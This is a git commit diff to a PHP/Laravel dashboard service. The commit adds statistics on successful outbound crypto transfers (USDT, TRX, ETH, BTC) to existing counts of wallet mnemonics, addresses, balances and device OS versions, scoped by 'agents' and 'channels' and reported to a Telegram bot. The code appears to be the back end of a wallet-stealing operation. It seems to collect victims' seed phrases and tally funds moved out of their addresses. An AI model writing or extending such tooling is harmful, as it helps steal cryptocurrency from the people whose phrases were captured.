feat: scan

This commit is contained in:
hashbro
2026-09-13 02:12:06 +08:00
parent d7bd4d1b03
commit 1746e7b485
13 changed files with 266 additions and 40 deletions
+83
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -37,6 +38,8 @@ class DashboardStatsService
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
@@ -102,6 +105,14 @@ class DashboardStatsService
$from,
$to,
);
[$transferCount, $transfers] = $this->transferStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -193,6 +204,8 @@ class DashboardStatsService
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'transfer_count' => $transferCount,
'transfers' => $transfers,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
@@ -320,6 +333,76 @@ class DashboardStatsService
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
* Successful outbound transfer count + per-asset sums in the selected range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
*/
private function transferStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = TransferRecord::query()
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
->whereBetween('transfer_records.created_at', [$from, $to]);
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
$sub->selectRaw('1')
->from('wallet_addresses')
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
$scopedIds = null;
if ($agent !== null) {
$scopedIds = AgentScope::channelIdsFor($agent);
} elseif ($agentUserId !== null) {
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
}
if ($scopedIds !== null) {
if ($scopedIds === []) {
$sub->whereRaw('1 = 0');
} else {
$sub->whereIn('devices.channel_id', $scopedIds);
}
}
if ($channelId !== '') {
if ($channelExact) {
$sub->where('devices.channel_id', $channelId);
} else {
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
});
}
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = (clone $q)
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
$count = 0;
foreach ($rows as $row) {
$count += (int) $row->cnt;
$col = strtolower((string) $row->asset);
if (! isset($coins[$col])) {
continue;
}
$formatted = WalletAddress::formatAmount($col, $row->total);
$coins[$col] = $formatted === '' ? '0' : $formatted;
}
return [$count, $coins];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.